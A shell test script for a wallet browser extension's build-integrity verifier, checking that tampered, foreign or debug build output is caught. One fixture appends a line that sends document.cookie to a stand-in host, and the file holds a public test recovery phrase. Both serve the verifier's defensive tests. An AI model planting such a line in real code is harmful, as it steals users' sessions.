Copies .dockerignore, .gitignore, .prettierignore, check.yml and REPO_POLICIES.md from sneak/prompts at dd4027b. The repo's own entries (dist/, release/, yarn files) are kept after the canonical content. The Dockerfile gets separate lint and test phases. Its last stage depends on both, checks the git describe version and runs make build. script/lint, test, check, cibuild and docker are the canonical models. check-censored moves into the lint phase and test-verify-build into the test phase. fmt and fmt-check fall back to the nvm-installed node. The e2e image builds are uncached. Comments that cited the old test caps now say 60 seconds, and comments that named what runs a script now name the Dockerfile phase or stage. Model: opus-5-5
986 lines
33 KiB
Bash
Executable File
986 lines
33 KiB
Bash
Executable File
#!/bin/sh
|
|
# script/test-verify-build: exercise every failure mode of
|
|
# script/verify-build, and what make build does with dist/ after one of them
|
|
# (script/discard-dist-on-failure). Our own extension to
|
|
# scripts-to-rule-them-all, run by the Dockerfile's test phase so make check
|
|
# covers it.
|
|
#
|
|
# Why this exists: verify-build is the build-integrity guard, and four separate
|
|
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
|
|
# the discarded find status, the line-delimited walk, and then the two the
|
|
# receipt replaced: an expectation read out of the verifier's own environment,
|
|
# and a file list read back out of the tree it was supposed to vouch for. Every
|
|
# one was caught by someone building a tree by hand, because nothing in make
|
|
# check could catch it. This is that hand battery, committed and automated.
|
|
#
|
|
# Each case asserts the exit status AND a substring of the message. A guard
|
|
# that fails for the wrong reason (right status, different fault) is itself a
|
|
# defect, so matching the status alone would not be a test of anything.
|
|
#
|
|
# The fixture is a temp tree containing script/verify-build as a SYMLINK to
|
|
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
|
# operates on the fixture's dist/ and never reads or writes the repo's build
|
|
# output. The symlink rather than a copy is what makes a deliberate break in
|
|
# the real script fail here. The fixture's receipt is written from the bytes
|
|
# the fixture actually holds, exactly as a build writes one from the bytes it
|
|
# emitted; a case that means "the build emitted this" regenerates it, and a
|
|
# case that means "something changed dist/ afterwards" does not.
|
|
#
|
|
# The sha256 command is selected here independently of the one verify-build
|
|
# picks. That is deliberate: a harness that reused the implementation's helper
|
|
# would agree with it even when it is wrong.
|
|
set -eu
|
|
|
|
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
|
VERIFY_BUILD="$ROOT/script/verify-build"
|
|
DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
|
|
|
|
MARKER_ON="autistmask-build-debug=on"
|
|
MARKER_OFF="autistmask-build-debug=off"
|
|
|
|
# The same test recovery phrase verify-build searches release bundles for. Held
|
|
# here too, the way the markers above are, so a case can plant it in a bundle.
|
|
TEST_MNEMONIC="cube evolve unfold result inch risk jealous skill hotel bulb night wreck"
|
|
|
|
RECEIPT_HEADER="autistmask-build-receipt v1"
|
|
|
|
NEWLINE='
|
|
'
|
|
|
|
PASSED=0
|
|
FAILED=0
|
|
SKIPPED=0
|
|
SKIPPED_NAMES=""
|
|
|
|
# The command prefix that runs the permission-dependent cases as a user who
|
|
# is actually subject to file permissions, and whether those cases can run at
|
|
# all. Both are decided by probe_permission_runner, never assumed.
|
|
UNPRIV=""
|
|
PERM_ENABLED=no
|
|
PERM_HOW=""
|
|
|
|
# The sha256 command, chosen by pick_sha256_tool.
|
|
SHA256_CMD=""
|
|
|
|
WORK=""
|
|
|
|
cleanup() {
|
|
[ -n "$WORK" ] || return 0
|
|
# The cases chmod 000 files and directories on purpose.
|
|
chmod -R u+rwX "$WORK" 2>/dev/null || true
|
|
rm -rf "$WORK"
|
|
}
|
|
trap cleanup EXIT INT TERM
|
|
|
|
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
|
FIXTURE="$WORK/fixture"
|
|
|
|
# The build receipt for the fixture, kept outside the fixture's dist/ — and
|
|
# outside the fixture altogether — because that is where a real one lives.
|
|
RECEIPT="$WORK/receipt"
|
|
|
|
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
|
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
|
# unprivileged user the permission cases run as.
|
|
TMPDIR="$WORK/tmp"
|
|
export TMPDIR
|
|
mkdir -p "$TMPDIR"
|
|
chmod 1777 "$TMPDIR"
|
|
chmod 755 "$WORK"
|
|
|
|
# --- fixture ---------------------------------------------------------------
|
|
|
|
# The emitted tree a build of this repo produces in miniature: audited bundles
|
|
# (A) that must carry a marker, and plain emitted files (P) that must not —
|
|
# including the content script, which runs on every page, and the manifest,
|
|
# neither of which the pre-receipt verifier read at all.
|
|
FIXTURE_FILES="A dist/chrome/src/popup/index.js
|
|
A dist/firefox/src/popup/index.js
|
|
P dist/chrome/src/content/index.js
|
|
P dist/chrome/manifest.json
|
|
P dist/styles.css"
|
|
|
|
FIXTURE_REAL=""
|
|
|
|
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
|
# is all verify-build reads out of the real thing beyond its digest.
|
|
write_bundle() {
|
|
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
|
}
|
|
|
|
# Digest of $1, taken with the harness's own sha256 command.
|
|
fixture_sha256() {
|
|
# Word-split on purpose: SHA256_CMD is a command with its arguments.
|
|
# shellcheck disable=SC2086
|
|
_fs_out="$($SHA256_CMD "$1")"
|
|
printf '%s' "${_fs_out%% *}"
|
|
}
|
|
|
|
# Write the fixture's receipt, with a substitutable header and root line so the
|
|
# cases can hand verify-build a receipt that is not one.
|
|
write_receipt_custom() {
|
|
_wrc_header="$1"
|
|
_wrc_root="$2"
|
|
|
|
chmod u+rw "$RECEIPT" 2>/dev/null || true
|
|
rm -f "$RECEIPT"
|
|
|
|
(
|
|
cd "$FIXTURE"
|
|
printf '%s\n' "$_wrc_header"
|
|
printf 'root %s\n' "$_wrc_root"
|
|
_saved_ifs="$IFS"
|
|
IFS="$NEWLINE"
|
|
for _entry in $FIXTURE_FILES; do
|
|
IFS="$_saved_ifs"
|
|
_flag="${_entry%% *}"
|
|
_path="${_entry#* }"
|
|
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
|
|
"$_flag" "$_path"
|
|
IFS="$NEWLINE"
|
|
done
|
|
IFS="$_saved_ifs"
|
|
) >"$RECEIPT"
|
|
|
|
# Readable by the unprivileged user the permission cases run as, whatever
|
|
# umask this process has, until a case takes that away on purpose.
|
|
chmod 644 "$RECEIPT"
|
|
}
|
|
|
|
write_receipt() {
|
|
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
|
|
}
|
|
|
|
build_fixture() {
|
|
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
|
rm -rf "$FIXTURE"
|
|
|
|
mkdir -p "$FIXTURE/script"
|
|
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
|
|
ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
|
|
|
|
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
|
|
"$FIXTURE/dist/chrome/src/content" \
|
|
"$FIXTURE/dist/firefox/src/popup"
|
|
|
|
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
|
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
|
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
|
|
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
|
|
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
|
|
|
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
|
|
write_receipt
|
|
|
|
# Readable and traversable by the unprivileged user the permission cases
|
|
# run as, before those cases take that away again on purpose.
|
|
chmod -R a+rX "$FIXTURE"
|
|
}
|
|
|
|
# --- permission runner ------------------------------------------------------
|
|
|
|
# Run a command through the current unprivileged runner. Unquoted on purpose:
|
|
# UNPRIV is a command prefix that has to word-split.
|
|
run_unpriv() {
|
|
# shellcheck disable=SC2086
|
|
$UNPRIV "$@"
|
|
}
|
|
|
|
# Decide whether the permission-dependent cases can run, and prove it rather
|
|
# than assuming it.
|
|
#
|
|
# The problem: the CI image declares no USER, so CI runs as root, and root is
|
|
# not subject to file permissions — chmod 000 stops neither find nor grep. A
|
|
# permission case run as root passes vacuously, which is worse than no case at
|
|
# all because it reads as coverage.
|
|
#
|
|
# So the runner is validated with two probes before any permission case is
|
|
# counted:
|
|
#
|
|
# - a mode-644 file MUST be readable through it. If not, the runner itself
|
|
# is broken (missing helper, no such user, sandbox), and every case run
|
|
# through it would fail for the wrong reason.
|
|
# - a mode-000 file MUST NOT be readable through it. If it is, permissions
|
|
# are not in force and the cases would pass without proving anything.
|
|
#
|
|
# Unprivileged: the runner is empty and both probes are about this process,
|
|
# which is the honest answer. Root: setpriv and runuser are tried, both
|
|
# present in the pinned CI base image. Only when no candidate passes both
|
|
# probes are the cases skipped, and a skipped run says so unmistakably.
|
|
probe_permission_runner() {
|
|
_probe="$WORK/probe"
|
|
mkdir -p "$_probe"
|
|
printf 'readable\n' >"$_probe/public"
|
|
printf 'secret\n' >"$_probe/private"
|
|
chmod 755 "$_probe"
|
|
chmod 644 "$_probe/public"
|
|
chmod 000 "$_probe/private"
|
|
|
|
if [ "$(id -u)" -eq 0 ]; then
|
|
_candidates="setpriv|setpriv --reuid=65534 --regid=65534 --clear-groups --
|
|
runuser|runuser -u nobody --"
|
|
else
|
|
_candidates="direct|"
|
|
fi
|
|
|
|
_tried=""
|
|
_saved_ifs="$IFS"
|
|
IFS="$NEWLINE"
|
|
for _line in $_candidates; do
|
|
IFS="$_saved_ifs"
|
|
_label="${_line%%|*}"
|
|
_cmd="${_line#*|}"
|
|
_tried="${_tried:+$_tried, }$_label"
|
|
|
|
if [ -n "$_cmd" ]; then
|
|
_bin="${_cmd%% *}"
|
|
command -v "$_bin" >/dev/null 2>&1 || continue
|
|
fi
|
|
|
|
UNPRIV="$_cmd"
|
|
# Broken or unusable runner: the cases would fail for the wrong
|
|
# reason. Reaching the script under test is part of usable.
|
|
run_unpriv cat "$_probe/public" >/dev/null 2>&1 || continue
|
|
run_unpriv cat "$VERIFY_BUILD" >/dev/null 2>&1 || continue
|
|
# Permissions not in force through this runner: the cases would pass
|
|
# without testing anything.
|
|
if run_unpriv cat "$_probe/private" >/dev/null 2>&1; then
|
|
continue
|
|
fi
|
|
|
|
PERM_ENABLED=yes
|
|
PERM_HOW="$_label"
|
|
IFS="$_saved_ifs"
|
|
return 0
|
|
done
|
|
IFS="$_saved_ifs"
|
|
|
|
UNPRIV=""
|
|
PERM_ENABLED=no
|
|
PERM_HOW="$_tried"
|
|
}
|
|
|
|
# --- case runner ------------------------------------------------------------
|
|
|
|
# How verify-build is invoked for a case. The arguments are literal here rather
|
|
# than assembled from a string, so nothing about a case's invocation depends on
|
|
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
|
|
# verifier ignores it — that is the whole of the ambient-environment defect.
|
|
run_verify() {
|
|
_rv_variant="$1"
|
|
_rv_perm="$2"
|
|
_rv_bin="$FIXTURE/script/verify-build"
|
|
|
|
case "$_rv_variant" in
|
|
release | release-envdebug)
|
|
set -- --expect release --receipt "$RECEIPT"
|
|
;;
|
|
debug)
|
|
set -- --expect debug --receipt "$RECEIPT"
|
|
;;
|
|
no-expect)
|
|
set -- --receipt "$RECEIPT"
|
|
;;
|
|
no-receipt)
|
|
set -- --expect release
|
|
;;
|
|
bad-expect)
|
|
set -- --expect maybe --receipt "$RECEIPT"
|
|
;;
|
|
unknown-arg)
|
|
set -- --expect release --receipt "$RECEIPT" --force
|
|
;;
|
|
receipt-in-dist)
|
|
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
|
|
;;
|
|
*)
|
|
echo "test-verify-build: unknown variant $_rv_variant" >&2
|
|
exit 1
|
|
;;
|
|
esac
|
|
|
|
if [ "$_rv_perm" = yes ]; then
|
|
run_unpriv "$_rv_bin" "$@"
|
|
else
|
|
"$_rv_bin" "$@"
|
|
fi
|
|
}
|
|
|
|
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
|
|
#
|
|
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
|
# requires both the exit status and the message. <perm> marks a case that only
|
|
# means anything when file permissions are in force.
|
|
check_case() {
|
|
_name="$1"
|
|
_perm="$2"
|
|
_variant="$3"
|
|
_want_status="$4"
|
|
_want_text="$5"
|
|
_setup="$6"
|
|
|
|
if [ "$_perm" = yes ] && [ "$PERM_ENABLED" != yes ]; then
|
|
SKIPPED=$((SKIPPED + 1))
|
|
SKIPPED_NAMES="$SKIPPED_NAMES## - $_name$NEWLINE"
|
|
echo " SKIP (permissions not in force): $_name"
|
|
return 0
|
|
fi
|
|
|
|
build_fixture
|
|
if ! (cd "$FIXTURE" && "$_setup") >/dev/null 2>&1; then
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_name"
|
|
echo " the case's own setup failed, so nothing was tested."
|
|
return 0
|
|
fi
|
|
|
|
# Exported rather than set as a command prefix: run_verify may go through
|
|
# run_unpriv, which is a function, and an assignment prefixed to a function
|
|
# call is not portable. Every other case unsets it, so the environment this
|
|
# harness happens to run in cannot decide anything.
|
|
case "$_variant" in
|
|
*envdebug)
|
|
AUTISTMASK_DEBUG=1
|
|
export AUTISTMASK_DEBUG
|
|
;;
|
|
*)
|
|
unset AUTISTMASK_DEBUG || true
|
|
;;
|
|
esac
|
|
|
|
_status=0
|
|
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
|
|
|
|
_ok=yes
|
|
_why=""
|
|
|
|
if [ "$_status" -ne "$_want_status" ]; then
|
|
_ok=no
|
|
_why="exit status $_status, wanted $_want_status"
|
|
fi
|
|
|
|
# Same discipline verify-build itself applies to grep: 0 and 1 are
|
|
# answers, anything else is not, and must not be read as "no match".
|
|
_g=0
|
|
printf '%s\n' "$_out" | grep -q -F -e "$_want_text" || _g=$?
|
|
case "$_g" in
|
|
0) ;;
|
|
1)
|
|
_ok=no
|
|
_why="${_why:+$_why; }message did not contain: $_want_text"
|
|
;;
|
|
*)
|
|
_ok=no
|
|
_why="${_why:+$_why; }grep exited $_g matching the message, so the
|
|
message was never checked"
|
|
;;
|
|
esac
|
|
|
|
if [ "$_ok" = yes ]; then
|
|
PASSED=$((PASSED + 1))
|
|
echo " ok: $_name"
|
|
return 0
|
|
fi
|
|
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_name"
|
|
echo " $_why"
|
|
echo " --- verify-build output ---"
|
|
printf '%s\n' "$_out" | sed 's/^/ /'
|
|
echo " --- end output ---"
|
|
}
|
|
|
|
# --- cases ------------------------------------------------------------------
|
|
#
|
|
# Each runs with the fixture as its working directory. A case that regenerates
|
|
# the receipt is saying "this is what the build emitted"; one that does not is
|
|
# saying "the build emitted something else and this happened afterwards".
|
|
|
|
c_control() { :; }
|
|
|
|
c_trailing_space() {
|
|
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js "
|
|
}
|
|
|
|
c_embedded_newline() {
|
|
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js$NEWLINE"
|
|
}
|
|
|
|
c_dist_symlink() {
|
|
mv dist dist.real
|
|
ln -s dist.real dist
|
|
}
|
|
|
|
c_unwalkable_subtree() { chmod 000 dist/chrome/src/content; }
|
|
|
|
c_dangling_symlink() {
|
|
ln -s /nonexistent-target-for-test-verify-build dist/chrome/dangling.js
|
|
}
|
|
|
|
c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
|
|
|
|
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
|
|
|
c_receipt_missing() { rm "$RECEIPT"; }
|
|
|
|
c_receipt_empty() { : >"$RECEIPT"; }
|
|
|
|
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
|
|
|
|
c_receipt_bad_header() {
|
|
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
|
|
}
|
|
|
|
c_receipt_other_tree() {
|
|
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
|
|
}
|
|
|
|
c_receipt_path_with_space() {
|
|
write_receipt
|
|
printf 'file %s P dist/two words.js\n' \
|
|
"0000000000000000000000000000000000000000000000000000000000000000" \
|
|
>>"$RECEIPT"
|
|
}
|
|
|
|
c_receipt_path_outside_dist() {
|
|
write_receipt
|
|
printf 'file %s P etc/passwd\n' \
|
|
"0000000000000000000000000000000000000000000000000000000000000000" \
|
|
>>"$RECEIPT"
|
|
}
|
|
|
|
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
|
|
|
|
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
|
|
|
|
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
|
|
|
|
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
|
|
|
c_extra_file_with_marker() {
|
|
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
|
}
|
|
|
|
c_extra_file_no_marker() {
|
|
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
|
|
}
|
|
|
|
# The four demonstrated bypasses of the pre-receipt verifier.
|
|
|
|
# A 26-byte file whose entire content is the marker string used to verify ok.
|
|
c_marker_only_stub() {
|
|
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
|
|
}
|
|
|
|
# The content script runs on every page the browser loads and was never read.
|
|
c_tampered_content_script() {
|
|
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
|
|
>>dist/chrome/src/content/index.js
|
|
}
|
|
|
|
# The manifest decides permissions and CSP and was never read either.
|
|
c_tampered_manifest() {
|
|
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
|
|
>dist/chrome/manifest.json
|
|
}
|
|
|
|
# A dist/ that has nothing to do with this build, carrying the right file
|
|
# names and the right marker, offered against this build's receipt.
|
|
c_foreign_dist() {
|
|
rm -rf dist
|
|
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
|
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
|
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
|
|
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
|
|
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
|
|
printf 'body{color:#fff}\n' >dist/styles.css
|
|
}
|
|
|
|
# Cases that state what the build itself emitted, and so regenerate the
|
|
# receipt over the changed bytes.
|
|
|
|
c_no_marker() {
|
|
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_both_markers() {
|
|
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_marker_on_plain_file() {
|
|
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
|
|
>dist/chrome/src/content/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_debug_build() {
|
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
|
write_receipt
|
|
}
|
|
|
|
# A release bundle that still carries the test recovery phrase — the regression
|
|
# verify-build guards against, and the reason DEBUG_MNEMONIC is behind the
|
|
# __BUILD_DEBUG__ define in src/shared/constants.js. The receipt is regenerated
|
|
# so the phrase is caught as bundle content, not incidentally as a stale digest.
|
|
c_release_bundle_with_mnemonic() {
|
|
printf '/* %s */\n' "$TEST_MNEMONIC" >>dist/chrome/src/popup/index.js
|
|
write_receipt
|
|
}
|
|
|
|
# The same phrase in a debug build is expected: make build-debug ships it on
|
|
# purpose, so the phrase check must stay quiet under --expect debug.
|
|
c_debug_bundle_with_mnemonic() {
|
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
|
printf '/* %s */\n' "$TEST_MNEMONIC" >>dist/chrome/src/popup/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_no_dist() { rm -rf dist; }
|
|
|
|
# --- dist discard -----------------------------------------------------------
|
|
#
|
|
# make build wraps every step of the release path in
|
|
# script/discard-dist-on-failure, so a release build that fails removes dist/:
|
|
# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
|
|
# debug bundle whose every wallet uses the publicly committed test recovery
|
|
# phrase, and a loud failure alone does not stop someone loading dist/chrome/
|
|
# anyway. make build-debug is deliberately not wrapped.
|
|
#
|
|
# Both directions are asserted against the state of dist/ ON DISK after the run,
|
|
# not against the exit status: a case reading only the status would keep passing
|
|
# if the removal quietly stopped happening, which is the flip this exists to
|
|
# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
|
|
# symlink in the fixture's script/ — with trivial commands standing in for the
|
|
# build steps, because what is under test is what happens after a step says no,
|
|
# not the step.
|
|
|
|
# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
|
|
discard_case() {
|
|
_dc_name="$1"
|
|
_dc_setup="$2"
|
|
_dc_want_status="$3"
|
|
_dc_want_dist="$4"
|
|
_dc_want="$5"
|
|
_dc_unwanted="$6"
|
|
shift 6
|
|
|
|
build_fixture
|
|
if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_dc_name"
|
|
echo " the case's own setup failed, so nothing was tested."
|
|
return 0
|
|
fi
|
|
|
|
_dc_status=0
|
|
_dc_out="$(cd "$FIXTURE" &&
|
|
"$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
|
|
|
|
_ok=yes
|
|
_why=""
|
|
|
|
if [ "$_dc_status" -ne "$_dc_want_status" ]; then
|
|
_ok=no
|
|
_why="exit status $_dc_status, wanted $_dc_want_status"
|
|
fi
|
|
|
|
# The assertion this case exists for: what is on disk now.
|
|
if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
|
|
_dc_dist=kept
|
|
else
|
|
_dc_dist=gone
|
|
fi
|
|
if [ "$_dc_dist" != "$_dc_want_dist" ]; then
|
|
_ok=no
|
|
_why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
|
|
_why="$_why $_dc_want_dist"
|
|
elif [ "$_dc_want_dist" = kept ] &&
|
|
[ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
|
|
# Kept has to mean intact: a dist/ emptied out is not one left alone.
|
|
_ok=no
|
|
_why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
|
|
fi
|
|
|
|
_dc_check_message "$_dc_want" want
|
|
_dc_check_message "$_dc_unwanted" unwanted
|
|
|
|
if [ "$_ok" = yes ]; then
|
|
PASSED=$((PASSED + 1))
|
|
echo " ok: $_dc_name"
|
|
return 0
|
|
fi
|
|
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_dc_name"
|
|
echo " $_why"
|
|
echo " --- discard-dist-on-failure output ---"
|
|
printf '%s\n' "$_dc_out" | sed 's/^/ /'
|
|
echo " --- end output ---"
|
|
}
|
|
|
|
# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
|
|
# output, updating _ok and _why. An empty substring asserts nothing. Same grep
|
|
# discipline as everywhere else here: 0 and 1 are answers, anything else means
|
|
# the message was never checked.
|
|
_dc_check_message() {
|
|
[ -n "$1" ] || return 0
|
|
|
|
_dcm_g=0
|
|
printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
|
|
case "$_dcm_g" in
|
|
0)
|
|
[ "$2" = unwanted ] || return 0
|
|
_ok=no
|
|
_why="${_why:+$_why; }message contained: $1"
|
|
;;
|
|
1)
|
|
[ "$2" = want ] || return 0
|
|
_ok=no
|
|
_why="${_why:+$_why; }message did not contain: $1"
|
|
;;
|
|
*)
|
|
_ok=no
|
|
_why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
|
|
message was never checked"
|
|
;;
|
|
esac
|
|
}
|
|
|
|
# --- Makefile wiring --------------------------------------------------------
|
|
|
|
# The verifier cases above prove what verify-build does when it is told what to
|
|
# expect, and the discard cases prove what the wrapper does with dist/. This
|
|
# proves the Makefile wires both up — the mode as an argument, on a scrubbed
|
|
# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
|
|
# shell that ran make, and the wrapper on the release path only. Read off
|
|
# `make -n`, so no build runs.
|
|
check_makefile_wiring() {
|
|
if ! command -v make >/dev/null 2>&1; then
|
|
SKIPPED=$((SKIPPED + 1))
|
|
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
|
|
echo " SKIP (make not found): Makefile wiring"
|
|
return 0
|
|
fi
|
|
|
|
# make build must ask for release, and must scrub the flag from the
|
|
# verifier's environment, even when the caller has it exported.
|
|
_wiring_case "make build passes --expect release" \
|
|
build "verify-build --expect release"
|
|
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
|
|
build "env -u AUTISTMASK_DEBUG"
|
|
_wiring_case "make build-debug passes --expect debug" \
|
|
build-debug "verify-build --expect debug"
|
|
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
|
|
build-debug "env -u AUTISTMASK_DEBUG"
|
|
|
|
# The release path runs its steps through the wrapper, including the final
|
|
# check-censored pass; the debug path runs none of them through it, which is
|
|
# what keeps a failed debug build's dist/ on disk.
|
|
_wiring_case "make build wraps its steps in discard-dist-on-failure" \
|
|
build "script/discard-dist-on-failure"
|
|
_wiring_case "make build wraps check-censored --require-dist too" \
|
|
build "script/discard-dist-on-failure script/check-censored"
|
|
_wiring_case_absent "make build-debug never discards its dist/" \
|
|
build-debug "discard-dist-on-failure"
|
|
}
|
|
|
|
# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
|
|
# non-zero, having already reported the failure, when make itself failed: a
|
|
# recipe that could not be printed was never checked.
|
|
_wiring_make_n() {
|
|
AUTISTMASK_DEBUG=1
|
|
export AUTISTMASK_DEBUG
|
|
_wc_status=0
|
|
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
|
|
unset AUTISTMASK_DEBUG
|
|
|
|
[ "$_wc_status" -ne 0 ] || return 0
|
|
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " make -n $_wc_target exited $_wc_status"
|
|
return 1
|
|
}
|
|
|
|
_wiring_case() {
|
|
_wc_name="$1"
|
|
_wc_target="$2"
|
|
_wc_want="$3"
|
|
|
|
_wiring_make_n || return 0
|
|
|
|
_wc_g=0
|
|
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
|
case "$_wc_g" in
|
|
0)
|
|
PASSED=$((PASSED + 1))
|
|
echo " ok: $_wc_name"
|
|
;;
|
|
1)
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " make -n $_wc_target does not run: $_wc_want"
|
|
;;
|
|
*)
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " grep exited $_wc_g, so the recipe was never checked"
|
|
;;
|
|
esac
|
|
}
|
|
|
|
# The inverse: the recipe must NOT run something.
|
|
_wiring_case_absent() {
|
|
_wc_name="$1"
|
|
_wc_target="$2"
|
|
_wc_want="$3"
|
|
|
|
_wiring_make_n || return 0
|
|
|
|
_wc_g=0
|
|
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
|
case "$_wc_g" in
|
|
1)
|
|
PASSED=$((PASSED + 1))
|
|
echo " ok: $_wc_name"
|
|
;;
|
|
0)
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " make -n $_wc_target runs: $_wc_want"
|
|
;;
|
|
*)
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " grep exited $_wc_g, so the recipe was never checked"
|
|
;;
|
|
esac
|
|
}
|
|
|
|
run_cases() {
|
|
check_case "control: untouched dist passes" \
|
|
no release 0 "2 bundle(s) $MARKER_OFF" c_control
|
|
|
|
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
|
|
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
|
|
|
|
check_case "debug bundles under --expect release fail (make build with
|
|
AUTISTMASK_DEBUG=1 exported)" \
|
|
no release-envdebug 1 \
|
|
"is $MARKER_ON but this build was told to expect" c_debug_build
|
|
|
|
check_case "debug bundles under --expect debug pass" \
|
|
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
|
|
|
|
check_case "release bundle carrying the test recovery phrase fails" \
|
|
no release 1 \
|
|
"carries the BIP-39 test recovery phrase" c_release_bundle_with_mnemonic
|
|
|
|
check_case "debug bundle carrying the test recovery phrase passes" \
|
|
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_bundle_with_mnemonic
|
|
|
|
check_case "no --expect argument" \
|
|
no no-expect 1 "no --expect argument." c_control
|
|
|
|
check_case "no --receipt argument" \
|
|
no no-receipt 1 "no --receipt argument." c_control
|
|
|
|
check_case "--expect takes release or debug" \
|
|
no bad-expect 1 "--expect takes release or debug" c_control
|
|
|
|
check_case "unknown argument" \
|
|
no unknown-arg 1 "unknown argument: --force" c_control
|
|
|
|
check_case "receipt inside the tree it describes" \
|
|
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
|
|
|
|
check_case "bundle replaced by a file containing only the marker" \
|
|
no release 1 "does not contain the bytes this build emitted" \
|
|
c_marker_only_stub
|
|
|
|
check_case "content script tampered with after the build" \
|
|
no release 1 \
|
|
"dist/chrome/src/content/index.js does not contain the bytes" \
|
|
c_tampered_content_script
|
|
|
|
check_case "manifest.json tampered with after the build" \
|
|
